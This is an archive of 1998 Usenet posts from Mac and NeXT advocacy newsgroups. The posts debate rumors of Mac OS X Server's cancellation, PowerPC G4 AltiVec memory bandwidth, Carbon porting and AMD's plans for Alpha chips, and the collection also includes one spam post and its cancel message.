7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <6vlct5$n66$1@nnrp1.dejanews.com>, "Charles Swiger"
<chuck@codefab.com> wrote:
> In article <6vkvvk$886$1@wbnws01.ne.highway1.com>,
> jkheit@mediaone.net wrote:
> > I don't think there is any way around this. Mac OSX S is late. Originally
> > it was due out before Sept., if memory serves. Then the date has been
pushed
> > up and up. And now we're in October, and the rumblings are year end.
>
> It was due the end of September, and yes it is late.
Odd I havent seen any replies to Don Crabb's article that macos x server
is dead:
Mac OS X Server Cancelled?
by Don Crabb, doncrabb@maccentral.com
Contributing Editor and Columnist
October 18, 1998, 3:00 p.m. ET
According to several Apple customers who attended the Apple
annual report press conference in
Vienna, Austria on Friday, October 16, the Mac OS X 1.0
Server has been cancelled: The presentation
was made by the CEOs of Apple Austria, Walter Scheuch, and
Germany and DACH (Germany,
Austria and Switzerland), Peter Dewald.
These sources noted that the CEOs "presented an OS roadmap
for 1999, with a Mac OS X Beta in Q1
and a Q3/4 release of Mac OS X 1.0." When different Apple
representatives were asked about the
availability of the Mac OS X Server 1.0 that was supposed
to ship this quarter, they were told "this
project was internally cancelled already but that there was
no official statement yet."
I have been unable to contact any Apple senior managers
over the weekend to confirm or deny this
story, but I hope to have a definitive word on Monday,
October 19, from Apple in Cupertino.
Let's hope this story simply represents confusion between
the beta's of Mac OS X and the actual Mac
OS X 1.0 Server, rather than a real decision by Apple to
drop an absolutely critical piece of system
software.
--
sucky sucky, $10.
Cartman as a vietnamese prostitute
From: rbarris@quicksilver.com (Rob Barris)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Message-ID: <rbarris-ya023280002010981659250001@206.82.216.1>
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171> <F1306A.3AF@T-FCN.Net> <70ftih$2ego$1@piglet.cc.uic.edu> <F139H5.78H@T-FCN.Net> <Jonas.Palm-2110980124480001@jp.orgk1.dial.lu.se>
Organization: Quicksilver Software, Inc.
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-transfer-encoding: 8bit
Date: Tue, 20 Oct 1998 16:59:25 -0700
NNTP-Posting-Date: Tue, 20 Oct 1998 16:58:36 PDT
In article <Jonas.Palm-2110980124480001@jp.orgk1.dial.lu.se>,
Jonas.Palm@orgk1.lu.se (Jonas Palm) wrote:
> I can't imagine other than that the AltiVec unit is going to be seriously
> bandwidth limited for many of its' potential applications.
Very much depends on the algorithm. Even though you might be able to
concoct an example where the AV unit starves for memory (lots of back to
back loads and stores of 128 bit words with little computation in
between)... the point is that AltiVec lets you attack problems where memory
bandwidth wasn't the problem before - computation was.
Example, MPEG decode, 4-5MB/s of input, 36MB/s of output (640x480, 4
bytes per pixel, 30 fps)... today's systems have plenty of memory bandwidth
to get the job done, but the core CPU just can't do all the DCT's etc etc
fast enough to meet that 30fps deadline. Enter AltiVec, the bandwidth
needs didn't change by one byte, yet now the computation can get done in
time thanks to the parallel ALU's, media arithmetic etc.
If you had a task that couldn't be done on the old system due to memory
bandwidth issues, it probably can't be done on the new system (assuming the
same memory bandwidth). If, as above, you had a problem that didn't really
starve for bandwidth and yet was unattainable due to CPU workload, AltiVec
might help.
And even this discussion leaves out a key point, that AltiVec can
actually take the fixed memory bandwidth and make far better use of it with
its cache hinting and prefetch instructions. Stalling on cache misses can
be deadly for performance, and AltiVec offers "stream prefetch" to make the
odds of misses far lower if properly used.
Rob
Date: Tue, 20 Oct 1998 10:31:27 +0100
From: christian.bau@isltd.insignia.com (Christian Bau)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Message-ID: <christian.bau-2010981031270001@christian-mac.isltd.insignia.com>
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171> <F1306A.3AF@T-FCN.Net> <70ftih$2ego$1@piglet.cc.uic.edu> <F139H5.78H@T-FCN.Net>
Organization: Insignia Solutions
Cache-Post-Path: proxy0.isltd.insignia.com!unknown@christian-mac.isltd.insignia.com
In article <F139H5.78H@T-FCN.Net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> In <70ftih$2ego$1@piglet.cc.uic.edu> Anil T Maliyekke wrote:
> > I mean implementing a double rate interface where data is
> > transfered on both the rising and falling edge of the bus
> > clock. This way a 128 bit 100MHz system bus would be able to
> > provide data at twice the rate (200MHz) and provide 3.2 GB/s
> > of bandwidth.
>
> Sorry, more questions. In order to get these speeds it seems we need a
> significanly upgraded memory bus. Would interleaving make everyone happy?
> And what is needed for double rate use? Do current DRAMs handle this under
> the proper conditions?
Interleaving memory only helps if you have two memory banks that both need
two or more cycles between delivering data - interleave them and you go
down to one cycle. But todays SDRAM memory has a long latency and then
delivers data every bus cycle, so interleave doesnt help (unless you
increase the bus to 166MHz so your memory is down to two bus cycles).
To improve latency, you need faster memory :-( or have some clever tricks
to read the memory before it is actually needed. To improve bandwidth,
today you need a wider bus.
Date: Tue, 20 Oct 1998 17:35:54 -0700
From: see-below@not-my-address.invalid (Dohnut)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Message-ID: <see-below-2010981735540001@dynamic58.pm11.mv.best.com>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5> <70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com> <70g2s9$t17@shelob.afs.com> <ch3-1910982007530001@1cust104.tnt5.redmond.wa.da.uu.net> <70h3s8$e1r$2@birch.prod.itd.earthlink.net> <ch3-1910982238540001@1cust104.tnt5.redmond.wa.da.uu.net> <F14qsH.CE2@T-FCN.Net> <70ijgl$9c$1@nnrp1.dejanews.com>
In article <70ijgl$9c$1@nnrp1.dejanews.com>, spagiola@my-dejanews.com wrote:
> As I said elsewhere in this thread, I think the best solution is to simply
> call Rhapsody "Mac OS X beta" -- since that's what it ultimately is, anyway
> -- and sell it as such. The "beta" moniker would protect them from any
> marketing missteps they might fear making, since whatever happens they can
> always claim "it's just a beta."
This is an interesting idea, but my impression is there are anough
substantial differences between OS X Server and MacOS X that it would be
difficult to consture the former as being a beta of the latter. A
predecessor, yes, but not a beta.
My suggestion would be "OS X Enterprise Server."
--
-------------------------------
matthewv@best.com
http://www.best.com/~matthewv/
-------------------------------
Date: Tue, 20 Oct 1998 17:32:17 -0700
From: see-below@not-my-address.invalid (Dohnut)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Message-ID: <see-below-2010981732170001@dynamic58.pm11.mv.best.com>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5> <70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com> <70g2s9$t17@shelob.afs.com> <ch3-1910982007530001@1cust104.tnt5.redmond.wa.da.uu.net> <70h3s8$e1r$2@birch.prod.itd.earthlink.net> <ch3-1910982238540001@1cust104.tnt5.redmond.wa.da.uu.net> <F14qsH.CE2@T-FCN.Net>
In article <F14qsH.CE2@T-FCN.Net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> In <ch3-1910982238540001@1cust104.tnt5.redmond.wa.da.uu.net> CaHand wrote:
>
> As to calling it OPENSTEP that name has little cachet outside the
> OpenStep world, and those inside the OS world care little about the names.
> The people that are going to buy Server are the current OS users (the ones
> that will buy a Mac - that's my big complaint) and real server users. I
> don't see the big panic that everyone assumes is out there.
I think they might want to call it OS X Enterprise Server. The
"Enterprise" part emphasises what it's for (only bundled with WebObjects,
costing at least $500, NOT a consumer OS to be confused with MacOS 8.5,
not even a freebie OS for people to experiment with a la Linux, etc.), and
also aligns it with the "Apple Enterprise" division (aka Next).
> > [Aside: Attaching the word "Mac" to the system was always a
> > mistake. It should have been called "OS X Server," with no
> > silly legacy prefix to graft some sort of nostalgic legacy
> > onto a system that has no more to do with 'mac' than QNX.]
>
> Agreed.
Yes. Not only does that reduce confusion with the real MacOS (8.5) and
clarify that this is really a totally different OS (Openstep/Mach), but
also reduces negative connotations. Among IS/IT, "Mac" anything is a
pejorative, and generally to be avoided at all costs. Including "Mac" in
the name is a negative selling point, and thus a really bad idea when
targeting the enterprise market, particularly when this isn't really MacOS
at all. It makes it a lot harder for people to explain to those not fully
aware of it how it doesn't _really_ have all the disadvantages (real and
perceived) or regular MacOS. "Well, if it isn't MacOS, why is it called
MacOS?"
Assuming MacOS X really provides a smooth follow-on to OS X Server for PPC
customers, then the only real issue would be the Intel customers buying a
dead-end product. Still, I think it's better to release it and possibly
lose those customers later than not to release it, and certainly lose them
now.
As for releasing it as a free or almost-free product (or beta product),
I've definitely thought about that, and it is a very appealing idea to
many people, but I'm not sure it would work well. I think it would only
work if it were truly free, and just sort of released on their FTP site
with no fanfare, no marketing, no support, etc., like MkLinux. However,
they _can't_ release it totally free, due to DPS licensing etc. If it
costs, say, $50, then it becomes a "real" product which implies support,
competition with the more-expensive 8.5, etc. I just think there are too
many issues and potential problems there for Apple to want to go down that
path with this particular release.
--
-------------------------------
matthewv@best.com
http://www.best.com/~matthewv/
-------------------------------
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MJP theorizes Carbon, months before Jobs announced it!!!
Message-ID: <forrestDELETE-THIS!-2010981731010001@term1-26.vta.west.net>
References: <6vopca$1p8@news1.panix.com> <3620076A.5FA93D46@nstar.net> <6vr62a$rtb@news1.panix.com> <3621289A.25C6A4F9@nstar.net> <6vrntr$548@news1.panix.com> <36224472.CEDA184B@ericsson.com> <701cmv$6bk@news1.panix.com> <3624C1B9.F1B81B2F@ericsson.com> <70d957$flm@news1.panix.com> <362A31E5.39218D89@nstar.net> <70deko$hbk@news1.panix.com> <362A70D6.E87F0C9A@nstar.net> <70h6i6$pe6@news1.panix.com>
Organization: Obsidian Design / Static Dreams Interactive
Date: Tue, 20 Oct 1998 17:31:01 -0700
NNTP-Posting-Date: Tue, 20 Oct 1998 17:30:02 PDT
In article <70h6i6$pe6@news1.panix.com>, sal@panix.com wrote:
> On Sun, 18 Oct 1998 17:51:02 -0500,
> Michael J. Peck <mjpeck@nstar.net> wrote:
> >Sal Denaro wrote:
> >> And PhotoShop running as a Carbon App isn't a port?
> >No, it's not.
>
> Huh?
>
> If I take a MFC App, re-write parts of it, and then recompile it so
> it can run on Unix with an MFC lib, it is a port.
Not really. It's a recompile with some code changes. I wouldn't consider
it a port. I consider a port a complete re-write to a different API.
> But, when I take a MacOS App, re-write parts of it, and then recompile
> it so it can run on OSX with the Carbon libs it isn't a port?
When you re-write a Mac OS app to make it compatible with Carbon, you've
just got to make sure it doesn't use certain legacy calls not supported in
Carbon. Then you recompile it just like you would a normal Mac OS app,
because it still is a normal Mac OS app, it just doesn't use any calls
which Carbon doesn't support. It's the same code running on the Mac
Toolbox and on Carbon, the only difference is that the Carbon
implementation preempts and protects it (assuming it doesn't use certain
calls which can't be preempted and/or protected), while Mac Toolbox
doesn't.
> This makes no sense. How is one different than the other?
Simple: they're not.
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: 19 Oct 1998 18:59:47 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <70g273$knp@newsb.netnews.att.com>
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171> <F1306A.3AF@T-FCN.Net> <70ftih$2ego$1@piglet.cc.uic.edu>
Originator: gupta@tlctest
Anil T Maliyekke <amaliy1@uic.edu> wrote:
>
>MacKiDo claims that the G4 will have a double precision multiply optimized
>FP unit, like the 604(e), 620 and the various POWER1/2/3 processors.
>If this is true, floating point performance will likely be much
>better and with the increased bandwidth it should be evident
>on SPECfp95.
Supposedly, the SPECfp95 on the 400 MHz G4 is up 50% from the 366 MHz G3.
(That would put the SPECfp95 around 15).
-arun gupta
From: hammer@naughty-nice.com
Newsgroups: comp.sys.next.advocacy
Subject: New Adult Site
Date: Tue, 20 Oct 1998 17:40:39 PDT
Organization: Email Platinum v.3.1b
Message-ID: <70jatp$1ej$8090@nnrp2.snfc21.pbi.net>
please visit us at: http://www.naughty-nice.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Motorola's G4 PowerPC
Content-Type: text/plain; charset=us-ascii
Message-ID: <F139H5.78H@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: amaliy1@uic.edu
Organization: My ISP puts something here if I don't.
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171>
<F1306A.3AF@T-FCN.Net> <70ftih$2ego$1@piglet.cc.uic.edu>
Mime-Version: 1.0
Date: Mon, 19 Oct 1998 19:15:05 GMT
In <70ftih$2ego$1@piglet.cc.uic.edu> Anil T Maliyekke wrote:
> I mean implementing a double rate interface where data is
> transfered on both the rising and falling edge of the bus
> clock. This way a 128 bit 100MHz system bus would be able to
> provide data at twice the rate (200MHz) and provide 3.2 GB/s
> of bandwidth.
Sorry, more questions. In order to get these speeds it seems we need a
significanly upgraded memory bus. Would interleaving make everyone happy?
And what is needed for double rate use? Do current DRAMs handle this under
the proper conditions?
Maury
From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.programmer.misc,comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: Mon, 19 Oct 1998 15:10:55 -0400
Organization: Anderson Financial Systems Inc.
Message-ID: <70g2s9$t17@shelob.afs.com>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5> <70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com>
Don Yacktman wrote:
>At least one poster to this thread is probably closer to the truth than any
>of us so far have been:
Ooh. Ooh. Call on me. Call on me, teacher. I know who it is. And a few of us
who are more "in the know" haven't even weighed in yet.
>Has anyone considered that perhaps even Apple doesn't know what it is going
>to do?
Why yes, Don. I think that's the most rational explanation. I have concluded
that Apple has a firm grasp on where it wants to be a year from now with Mac
OS X, but *not* what it wants to do in the meantime with its predecessor.
The tech is already fabulous, but the marketing case is hard to make between
now and then. They don't want the first release to look like a failure --
lest it cripple the later consumer version -- but it's not clear how to get
this plane off the runway without causing turbulence to the "must have"
message associated with 8.5. As others have speculated, I think WebObject
integration is the most likely avenue. But I hope Apple will leave the door
open for the "first on the block" types to acquire it easily, too. My
mailbox proves that a certain level of that kinds of demand definitely
exists
As to Don Crabb's report, I have a theory that there may have been a
misinterpretation at the European meeting. IIRC, one original plan was to
sell Rhapsody/OSXS as part of a specially configured high-end PowerMac
system. Perhaps the *hardware* aspect of this package has been cancelled,
and the speaker misinterpreted the dual meaning of the word "server". Just a
guess, but a plausible one.
I agree with Don about the likely technical status of OSXS. If a Gold
Master's not already in repro, it must be damn close. Issues like specific
release dates are probably in the hands of product marketing at this point.
Greg
From: "Ruth" <ruthroth@hotmail.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSXS is late
Date: Tue, 20 Oct 1998 19:10:42 -0700
Organization: Slip.Net (http://www.slip.net)
Message-ID: <70jfrc$o7u$1@owl.slip.net>
References: <6vkvvk$886$1@wbnws01.ne.highway1.com>
<6vlct5$n66$1@nnrp1.dejanews.com> <6vopcb$1p8@news1.panix.com>
<macghod-1810982346430001@1cust173.tnt1.santa-barbara.ca.da.uu.net>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
You have probable already found this out by now, but for the benefit of
others that haven't:
Crabb wrote an article today where an anonymous Apple insider/loyal friend
of his said absolutely, positively that OSX is on track.
-Mac (sigh. Yes, it's my real name) Scott
----------
In article
<macghod-1810982346430001@1cust173.tnt1.santa-barbara.ca.da.uu.net>,
macghod@concentric.net (Steve Sullivan) wrote:
>In article <6vopcb$1p8@news1.panix.com>, sal@panix.com wrote:
>
>> I've heard that it is ready to ship, but Apple is waiting for WO4 to be ready
>> to ship with it. This statement was made by a WO guy at Apple I know.
>
>Good, so he can confirm that the bellow is absolutely totally false?
>
>
>
> Mac OS X Server Cancelled?
> by Don Crabb, doncrabb@maccentral.com
> Contributing Editor and Columnist
> October 18, 1998, 3:00 p.m. ET
>
> According to several Apple customers who attended the Apple
>annual report press conference in
> Vienna, Austria on Friday, October 16, the Mac OS X 1.0
>Server has been cancelled: The presentation
> was made by the CEOs of Apple Austria, Walter Scheuch, and
>Germany and DACH (Germany,
> Austria and Switzerland), Peter Dewald.
>
> These sources noted that the CEOs "presented an OS roadmap
>for 1999, with a Mac OS X Beta in Q1
> and a Q3/4 release of Mac OS X 1.0." When different Apple
>representatives were asked about the
> availability of the Mac OS X Server 1.0 that was supposed
>to ship this quarter, they were told "this
> project was internally cancelled already but that there was
>no official statement yet."
>
> I have been unable to contact any Apple senior managers
>over the weekend to confirm or deny this
> story, but I hope to have a definitive word on Monday,
>October 19, from Apple in Cupertino.
>
> Let's hope this story simply represents confusion between
>the beta's of Mac OS X and the actual Mac
> OS X 1.0 Server, rather than a real decision by Apple to
>drop an absolutely critical piece of system
> software.
>
>--
>sucky sucky, $10.
>Cartman as a vietnamese prostitute
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <70jatp$1ej$8090@nnrp2.snfc21.pbi.net>
Control: cancel <70jatp$1ej$8090@nnrp2.snfc21.pbi.net>
Date: 21 Oct 1998 01:06:16 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.70jatp$1ej$8090@nnrp2.snfc21.pbi.net>
Sender: hammer@naughty-nice.com
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
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Please include the X-CosmoTraq header of this message in any correspondence
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Sick-O-Spam, Spam-B-Gon!
From: nospam@nospam!.kom (Steve)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: AMD K7 info Re: Motorola's G4 PowerPC
Date: Wed, 21 Oct 1998 02:15:48 GMT
Organization: The Ohio State University
Message-ID: <362d4280.51428675@nntp.service.ohio-state.edu>
References: <70fu05$2ego$2@piglet.cc.uic.edu> <70gopb$dq2$1@hecate.umd.edu> <70gssn$bko$1@piglet.cc.uic.edu> <70h4ik$trg$1@hecate.umd.edu> <70h91l$23ie$1@piglet.cc.uic.edu> <70hd1b$tgc$1@hecate.umd.edu> <362D0D10.DC8B5517@waii.com> <70je83$nlt$4@hecate.umd.edu>
On 21 Oct 1998 01:43:31 GMT,
davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
wrote:
<snip>
>
>What Alpha clone? AMD is going to start designing and making Alpha clones?
>Where did you hear this from? (Actually it would make sense, since Compaq
>and AMD have a very close relationship, but I haven't heard anything about
>this) Also, AMD has its own fabs, aside from needing IBM as an insurance
>policy if they run into process/processor ramp up problems again, AMD will
>have enough capacity to make K6's, K7's and Alphas when they finish that
>fab in Germany.
IIRC, in all the arrangements that were made when Compaq acquired
Digital, AMD acquired the right to manufacture Alpha chips. There has
been some speculation that they would, but no concrete evidence. I
see the K7 as providing conflicting evidence in this case. If the K7
is as fast as AMD says it is, it'll be faster than Intel PIIs, so
selling Alphas as well might take some business away from the K7. On
the opposite side, they are already supporting quite a bit of the
Alpha motherboard infrastructure, so it could be an advantage. My gut
feeling is that they will not build Alpha chips, but time will tell.
<snip>
-Steve
*The only thing certain about the future is that it hasn't happened yet.*
Date: Tue, 20 Oct 1998 19:22:58 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: YB developer's lost revenues
Message-ID: <stevehix-2010981922580001@192.168.1.10>
References: <01bdfc5b$c2fd8520$06387880@chewy> <70j332$ko1$3@msunews.cl.msu.edu>
Organization: Close to None
In article <70j332$ko1$3@msunews.cl.msu.edu>,
spammers@ruin.the.internet.channelu.com wrote:
>"Todd Heberlein (todd at NetSQ dot com)" wrote:
> > For most of us, the delays of Rhapsody (originally planned for Jan
> > 98?), then delays of MacOS X Server (Fall of 98), and finally the
> > potential cancellation of MacOS X Server is only frustrating.
> >
> > I wonder about all those developers creating YB applications but who
> > cannot generate any revenues because of the OS never leaves the beta
> > stage?
> >
> > While we [potential] users/customers can be frustrated by the
> > [in]actions from Apple, I have to believe that the YB developers are
> > really pulling out their hair.
> >
> > Suggestions: (1) Apple lets YB developers sell their products to
> > current Rhapsody beta testers/developers. (2) Apple openly distribute
> > MacOS X Server as pre-release software (perhaps for a $20 license fee)
> > and let YB developers sell their products to this expanded consumer
> > base. (3) Apple declare MacOS X Server as a product and sell it.
> >
> > Any thoughts?
>
> Won't happen. Apple is only going sell MacOS X Server when they
> are good and ready. Even worse is that YB for Windows may be delayed
> even longer. YB on Windows is what is desperately needed to generate
> income all around, even if it costs $20-25/per or even $50. Get it out
> now so YB developers can start selling apps.
From MacWeek today:
http://macweek.zdnet.com/1998/10/19/osxserver.html
Leading with the comment:
"Apple confirmed today that Mac OS X Server has not been canceled, as
online reports have suggested, and will ship in 1998. "As Apple has
said, Mac OS X Server is on track to ship this year," Apple spokeswoman
Staci Sheppard told MacWEEK.com."
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSXS is late
Date: 19 Oct 1998 18:04:17 GMT
Organization: MiscKit Development
Message-ID: <70fuv1$mdh$1@news.xmission.com>
References: <6vkvvk$886$1@wbnws01.ne.highway1.com> <FE7C55DE5ABCFEBB.5AFB02838ABD3140.095ED5AEA6ABAEA1@library-proxy.airnews.net> <707m7d$bma$1@nnrp02.primenet.com> <7080r8$s7j$1@news.xmission.com> <908572923.29618@watserv4.uwaterloo.ca>
NNTP-Posting-Date: 19 Oct 1998 18:04:17 GMT
dfevans@bbcr.uwaterloo.ca (David Evans) wrote:
> In article <7080r8$s7j$1@news.xmission.com>,
> Don Yacktman <don@misckit.com> wrote:
> >John Jensen <jjens@primenet.com> wrote:
> >>
> >> For those who believed in "stealth development", we now have
> >> "stealth release" ?
> >
> > NeXT was famous for it's "stealth marketing", which eventually
> > turned into demarketing...
> >
>
> Don--how can you forget the "stealth release" of 4.0? At least
> the plan has a precident...
I didn't; that was implied as a part of "stealth marketing".
I reiterate, though: they eventually moved far beyond simple stealth by
adopting policies and practices that actively discouraged people from buying
their products. Classic example of how to do successful demarketing, and a
classic example of a company that *least* needed to be doing any kind of
demarketing!
I've always been impressed with what NeXT's engineers were able to turn
out--great technology. I've always been equally (or more) UNimpressed with
how the business was run.
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.yacktman.org/don/index.html">My home page</a>
Date: Mon, 19 Oct 1998 13:27:16 +0100
From: christian.bau@isltd.insignia.com (Christian Bau)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Message-ID: <christian.bau-1910981327160001@christian-mac.isltd.insignia.com>
References: <tim-1610982233450001@jump-tnt-0185.customer.jump.net> <B24DB419-18FAE@206.165.43.124> <tim-1710980845220001@jump-tnt-0140.customer.jump.net> <Jonas.Palm-1710982237100001@jp.orgk1.dial.lu.se>
Organization: Insignia Solutions
Cache-Post-Path: proxy0.isltd.insignia.com!unknown@christian-mac.isltd.insignia.com
In article <Jonas.Palm-1710982237100001@jp.orgk1.dial.lu.se>,
Jonas.Palm@orgk1.lu.se (Jonas Palm) wrote:
> (Quantum chemical calculations are largely bandwidth limited today.
> In my experience, generally the problem size grows with heavier
> calculational challenges, rather than the amount of operations on a given
> amount of data.
> Implies that bandwidth/latency is a more urgent problem than instructions
> per cycle, at least at this point in time. 128-bit buses, anyone?)
The G4 chips have two things that should help:
1. 128 bit bus (I think both between processor and L2 cache and between
processor and main memory).
2 (and that is the interesting one). Data stream instructions: The
programmer tells the processor what data will be used in the near future,
and the processor will continue to load this data into L1 cache. Currently
your code is limited either by (computational time + memory latency) or by
(memory bandwidth + memory latency), which ever is slower. With data
stream instructions, you are limited by either computational time or
memory bandwidth.
Message-ID: <362B80DE.11DC6B0D@voy.net>
From: Corey Winesett <winesett@voy.net>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.programmer.misc,comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
References: <B250EAC6-A1CDC@208.254.112.93>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: Mon, 19 Oct 1998 14:21:14 EDT
Organization: ISPNews http://ispnews.com
Date: Mon, 19 Oct 1998 14:11:42 -0400
I've seen no update from Crabb, but http://www.macosrumors.com says
OSXS has gone Golden Master.
"Two men say they're Jesus, one of them must be wrong" - Dire Straits
Of course, with these sources, the most likely possiblity is that they
are both wrong.
Corey
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: AMD K7 info Re: Motorola's G4 PowerPC
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Date: 21 Oct 1998 02:52:35 GMT
Organization: University of Maryland, College Park
Message-ID: <70ji9j$ufv$1@hecate.umd.edu>
References: <70fu05$2ego$2@piglet.cc.uic.edu> <70gopb$dq2$1@hecate.umd.edu> <70gssn$bko$1@piglet.cc.uic.edu> <70h4ik$trg$1@hecate.umd.edu> <70h91l$23ie$1@piglet.cc.uic.edu> <70hd1b$tgc$1@hecate.umd.edu> <362D0D10.DC8B5517@waii.com> <70je83$nlt$4@hecate.umd.edu> <362d4280.51428675@nntp.service.ohio-state.edu>
Steve (nospam@nospam!.kom) wrote:
: On 21 Oct 1998 01:43:31 GMT,
: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
: wrote:
: <snip>
: >
: >What Alpha clone? AMD is going to start designing and making Alpha clones?
: >Where did you hear this from? (Actually it would make sense, since Compaq
: >and AMD have a very close relationship, but I haven't heard anything about
: >this) Also, AMD has its own fabs, aside from needing IBM as an insurance
: >policy if they run into process/processor ramp up problems again, AMD will
: >have enough capacity to make K6's, K7's and Alphas when they finish that
: >fab in Germany.
: IIRC, in all the arrangements that were made when Compaq acquired
: Digital, AMD acquired the right to manufacture Alpha chips. There has
: been some speculation that they would, but no concrete evidence. I
: see the K7 as providing conflicting evidence in this case. If the K7
: is as fast as AMD says it is, it'll be faster than Intel PIIs, so
: selling Alphas as well might take some business away from the K7. On
: the opposite side, they are already supporting quite a bit of the
: Alpha motherboard infrastructure, so it could be an advantage. My gut
: feeling is that they will not build Alpha chips, but time will tell.
I believe that's the foundry agreement that FTC asked Compaq and AMD to
sign as a condition of allowing Compaq's purchase of Digital to proceed.
Perhaps I am being confused by the terminology here. "Alpha clone"
would mean to me a processor designed by AMD, and manufactured by AMD,
but runs the Alpha IS. As far as Compaq using AMD as the foundry to
manufacture Alpha, that's quite feasible and likely. IMO, K7 doesn't
compete with Alpha, but with Intel's other IA-32 chips. As a matter of
fact, AMD may be seeking Alpha IS as their 64 bit platform.
It would make sense, and it is a natural alliance.
Intel AMD
HP Compaq
Pentium II/etc K6/K7/etc
IA-64 Alpha
Slot M Slot A
HP/UX D/UX
However, I have not seen any news of AMD working on an Alpha design,
although like Intel, AMD now has two design teams running in parallel
as well, and since the K7 team is still working on debugging and
tapeout of K7, I wonder what the K6(NexGen) team is doing?
: <snip>
: -Steve
: *The only thing certain about the future is that it hasn't happened yet.*
--
davewang@kagututi.kecl.ntt.co.jp.meaningless
All statements are personal opinions
Not speaking for NTT or University of Maryland
Nara, Japan.
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Server 1.0 Cancelled? - Don Crabb
Date: 21 Oct 1998 02:49:44 GMT
Organization: Net Squared, Inc.
Message-ID: <01bdfc9b$250cfae0$06387880@chewy>
References: <jayfar-1810981622540001@ppp134.blackbox1-mfs.netaxs.com> <B2502546-2F8EE@206.165.43.5> <70fddn$rts$1@nnrp1.dejanews.com> <70g0tl$mdh$4@news.xmission.com> <70g2s9$t17@shelob.afs.com> <ch3-1910982007530001@1cust104.tnt5.redmond.wa.da.uu.net> <70h3s8$e1r$2@birch.prod.itd.earthlink.net> <ch3-1910982238540001@1cust104.tnt5.redmond.wa.da.uu.net> <F14qsH.CE2@T-FCN.Net> <70ijgl$9c$1@nnrp1.dejanews.com> <70j53v$ko1$5@msunews.cl.msu.edu>
spammers@ruin.the.internet.channelu.com wrote
> Still we are stuck without a Openstep on PPC or G3. Why?!
> No YB for MacOS. Hell no YB for anything except Intel/Black.
> (I am counting shipping products)
And at what price? And what part number?
